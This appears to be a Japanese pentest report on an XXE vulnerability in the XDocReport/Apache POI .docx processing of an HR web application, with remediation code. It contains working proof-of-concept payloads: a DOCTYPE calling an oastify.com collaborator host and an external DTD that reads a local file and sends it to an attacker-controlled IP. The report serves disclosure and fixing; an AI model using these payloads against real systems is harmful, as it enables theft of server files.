脆弱性の概要
ビジネスへの影響
人事管理ウェブサイトでは、ユーザーが.docx文書ファイルをシステムにアップロードできます。処理中に、アプリケーションはfr.opensagres.xdocreport.document.docxライブラリを使用しますが、このライブラリはユーザーの.docxファイルをSAXParserに渡す際にXXE脆弱性を含んでいます。
fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
原因はApache POIの使用
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
つまり、Apache POIは非常に深い階層にあり、モジュール:
org.apache.poi.xwpf.converter.core
このエラーは、XDocReport(fr.opensagres.xdocreport.document.docxモジュール内)がApache POIを使用して.docxファイルを読み取り、POIがJavaのデフォルトのSAXParserを使用しているが、DTDと外部エンティティの処理を許可する機能を無効にしていないために発生します。 →これにより、攻撃者は外部を指すエンティティ(SYSTEM "http://...")や内部ファイル(file:///...)を含むDOCTYPEを挿入できるようになり、XXEが発生します。
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
以下のようなcollaborator経由のoutbandペイロードで編集する:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130にdtdファイルをホストする。vcspentest.dtdの内容は以下の通り:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
WSLマシンから外部DTDをロードするために、.docxファイル内のword/document.xmlファイルを以下の内容で編集する:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docxにzip圧縮し、サーバーにアップロードして処理させるD:/vcspentest.txtの内容を含むリクエストが送信されたことを確認コード内またはXMLパーサーの設定レイヤーで、DTDおよび外部エンティティに関連するすべての機能を無効にする必要があります。
以下のコードと同様の修正
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);